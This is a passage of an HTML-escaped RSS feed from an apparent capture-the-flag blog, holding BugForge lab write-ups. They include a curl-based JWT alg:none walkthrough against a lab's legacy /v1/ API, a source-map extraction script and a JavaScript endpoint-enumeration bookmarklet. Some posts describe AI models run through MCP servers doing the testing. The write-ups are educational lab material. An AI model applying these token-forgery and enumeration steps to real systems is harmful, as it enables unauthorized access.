style=&amp;#39;display:grid;grid-template-columns:1fr 1fr;gap:10px;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt;;paramMap.forEach((sources,param)=&amp;gt;{content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div style=&amp;#39;background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; param &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;lt;div style=&amp;#39;background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; sources.join(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;&amp;lt;br&amp;gt;&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;;});content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;h2 style=&amp;#39;color:#4a69bd;margin-top:20px;&amp;#39;&amp;gt;JS Files Found: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; jsFiles.size &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/h2&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div style=&amp;#39;display:grid;grid-template-columns:1fr;gap:10px;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt;;jsFiles.forEach(file=&amp;gt;{&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; fullUrl&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;file.startsWith(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff79c6&#34;&gt;?&lt;/span&gt;file&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;window&lt;/span&gt;.location.origin&lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt;file;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div style=&amp;#39;background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;&amp;#39;&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; fullUrl &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;#39; target=&amp;#39;_blank&amp;#39; style=&amp;#39;color:#4a69bd;text-decoration:none;word-break:break-all;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; file &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;;});content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;;div.innerHTML&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;content;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; closeBtn&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.createElement(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;button&amp;#34;&lt;/span&gt;);closeBtn.textContent&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Close&amp;#34;&lt;/span&gt;;closeBtn.style.cssText&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;position:fixed;top:10px;right:10px;background:#4a69bd;color:white;border:none;padding:10px 20px;cursor:pointer;&amp;#34;&lt;/span&gt;;closeBtn.onclick&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt;(){&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.body.removeChild(div);};div.appendChild(closeBtn);&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.body.appendChild(div)}setTimeout(writeResults,&lt;span style=&#34;color:#bd93f9&#34;&gt;3000&lt;/span&gt;);})();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As usual, we can check the way the website works and how it behaves&lt;/li&gt;&#xA;&lt;li&gt;It is the good old trusted typing practice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-sokudo/Sokudo-01_hu_6321506e53ceb4d2.webp 1x, https://johnmatrix.org/bugforge/bf-sokudo/Sokudo-01_hu_93e045f4350b899e.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-sokudo/Sokudo-01_hu_3b51a06940936e75.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;588&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sokudo - BAC</title>
				<link>https://johnmatrix.org/bugforge/bf-sokudo-bac-2/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-sokudo-bac-2/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Here we go again!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku1_hu_a7218bcf0537d86c.webp 1x, https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku1_hu_77a9cb295c32b398.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku1_hu_3853be9338fd9699.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;829&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Today&amp;rsquo;s challenge is on a freshly built &lt;code&gt;Caido MCP&lt;/code&gt; server&lt;/li&gt;&#xA;&lt;li&gt;Poividing nothing more but the history and slight direction to save some tokens&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku2_hu_b7897f6d03a2874a.webp 1x, https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku2_hu_5c56c0ce3e3dbc42.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-sokudo-bac-2/soku2_hu_9a08565c346ba082.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;453&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sokudo - BAC</title>
				<link>https://johnmatrix.org/bugforge/bf-sokudo-bac/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-sokudo-bac/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Hi there!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Let me take you on a journey from start to finish of &lt;code&gt;Claude MCP&lt;/code&gt; running through the tests.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Most interesting part of it is &amp;hellip; I have not given Claude &lt;strong&gt;ANY&lt;/strong&gt; hints or ideas of where to look.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sokudo - JWT alg:none on Legacy API</title>
				<link>https://johnmatrix.org/bugforge/bf-sokudo-jwt-none/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-sokudo-jwt-none/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&amp;ldquo;Can you find API endpoints on a different path?&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The goal is to reach the admin panel and read the flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;the-big-idea-before-we-start&#34;&gt;The Big Idea (before we start)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The app has &lt;strong&gt;two versions&lt;/strong&gt; of its API: &lt;code&gt;/v2/&lt;/code&gt; (the one the website actually uses) and &lt;code&gt;/v1/&lt;/code&gt; (a hidden older version)&lt;/li&gt;&#xA;&lt;li&gt;Legacy APIs are gold mines because they often run older, weaker code that was never patched&lt;/li&gt;&#xA;&lt;li&gt;In this case, the &lt;code&gt;/v1/&lt;/code&gt; API accepts &lt;strong&gt;unsigned JWTs&lt;/strong&gt; (&lt;code&gt;alg: none&lt;/code&gt;) while &lt;code&gt;/v2/&lt;/code&gt; correctly rejects them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-1---register-and-get-a-token&#34;&gt;Step 1 - Register and get a token&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, create an account so we have a valid JWT to study&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v2/register &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;learner&amp;#34;,&amp;#34;email&amp;#34;:&amp;#34;learner@x.io&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;Pass1234!&amp;#34;,&amp;#34;full_name&amp;#34;:&amp;#34;Learner&amp;#34;}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;You get back a token and a user object:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJsZWFybmVyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODQ3Mzc3NDF9.PET_ImoBnCaIzeBBHIQq4gHLS5udDzPTYmmUxInwUlE&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: {&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#bd93f9&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;learner&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;learner@x.io&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;full_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Learner&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;step-2---decode-the-jwt-understand-what-you-hold&#34;&gt;Step 2 - Decode the JWT (understand what you hold)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A JWT is three base64 strings joined by dots: &lt;code&gt;header.payload.signature&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can decode the first two parts yourself - no tools needed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;eyJpZCI6NCwidXNlcm5hbWUiOiJsZWFybmVyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODQ3Mzc3NDF9&amp;#34;&lt;/span&gt; | base64 -d 2&amp;gt;/dev/null&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;That gives you the payload:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#bd93f9&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;learner&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#bd93f9&#34;&gt;1784737741&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;role: &amp;quot;user&amp;quot;&lt;/code&gt; is what stops us from reaching admin endpoints&lt;/li&gt;&#xA;&lt;li&gt;The header says &lt;code&gt;&amp;quot;alg&amp;quot;: &amp;quot;HS256&amp;quot;&lt;/code&gt; - that means the server signs tokens with HMAC-SHA256 using a secret key&lt;/li&gt;&#xA;&lt;li&gt;To forge a token we would need to know that secret&amp;hellip; or find a way around it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-3---find-the-different-path-the-v1-api&#34;&gt;Step 3 - Find the &amp;ldquo;different path&amp;rdquo; (the /v1/ API)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The website only ever calls &lt;code&gt;/v2/&lt;/code&gt; endpoints - you can see this in the JavaScript&lt;/li&gt;&#xA;&lt;li&gt;But the hint says there is a &lt;strong&gt;different path&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;If there is a &lt;code&gt;/v2/&lt;/code&gt;, there was probably a &lt;code&gt;/v1/&lt;/code&gt; before it&lt;/li&gt;&#xA;&lt;li&gt;Let us probe it:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v1/verify-token &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Authorization: Bearer &amp;lt;your-token&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;It works! The &lt;code&gt;/v1/&lt;/code&gt; API is alive and accepts the same token&lt;/li&gt;&#xA;&lt;li&gt;Now check if the admin flag endpoint exists on &lt;code&gt;/v1/&lt;/code&gt; too:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v1/admin/flag &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Authorization: Bearer &amp;lt;your-token&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Admin access required&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Same 403 as &lt;code&gt;/v2/&lt;/code&gt; - both versions check the role&lt;/li&gt;&#xA;&lt;li&gt;But do they check it the &lt;strong&gt;same way&lt;/strong&gt;? That is the real question&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-4---try-the-algnone-bypass-on-v1&#34;&gt;Step 4 - Try the alg:none bypass on /v1/&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Here is the trick: JWT has a header field called &lt;code&gt;alg&lt;/code&gt; that tells the server how the token was signed&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Today&amp;rsquo;s daily challenge is a straightforward one, but I used BurpSuite with MCP server to solve as it as I am trying to learn and understand the AI impact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-tanuki/tanuki-01_hu_3c58950d235298b7.webp 1x, https://johnmatrix.org/bugforge/bf-tanuki/tanuki-01_hu_e3af40bfbbc4e105.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-tanuki/tanuki-01_hu_d35e0c7d6c92734.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;464&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - Access Control</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-access-control/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-access-control/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;The interesting part is that the obvious attack (just ask to change someone else&amp;rsquo;s password) is blocked server-side, and the win comes from a JavaScript-vs-SQL type-confusion bug that a single response field quietly reveals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Register an account and click around. JWT lands in &lt;code&gt;localStorage&lt;/code&gt;, the app calls a JSON API under &lt;code&gt;/api/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;React production builds ship a source map. Pull it and read the real source - this is the fastest way to map every endpoint and see how auth is enforced&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Grab the bundle and its map&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# the HTML references /static/js/main.&amp;lt;hash&amp;gt;.js which declares its .map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s https://&amp;lt;lab-host&amp;gt;/static/js/main.ee88be32.js.map -o main.js.map&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# extract the original sources out of sourcesContent&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 - &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;lt;&amp;lt;&amp;#39;PY&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;import json, os, re&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;m = json.load(open(&amp;#39;main.js.map&amp;#39;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;for src, content in zip(m[&amp;#39;sources&amp;#39;], m[&amp;#39;sourcesContent&amp;#39;]):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    if not content or &amp;#39;node_modules&amp;#39; in src: continue&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    path = os.path.join(&amp;#39;src&amp;#39;, re.sub(r&amp;#39;^webpack://[^/]*/&amp;#39;, &amp;#39;&amp;#39;, src).lstrip(&amp;#39;./&amp;#39;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    os.makedirs(os.path.dirname(path), exist_ok=True)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    open(path, &amp;#39;w&amp;#39;).write(content)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;print(&amp;#34;done&amp;#34;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;PY&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Endpoints (from the extracted components + the axios calls)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register                 - open registration, returns JWT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login                    - returns JWT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 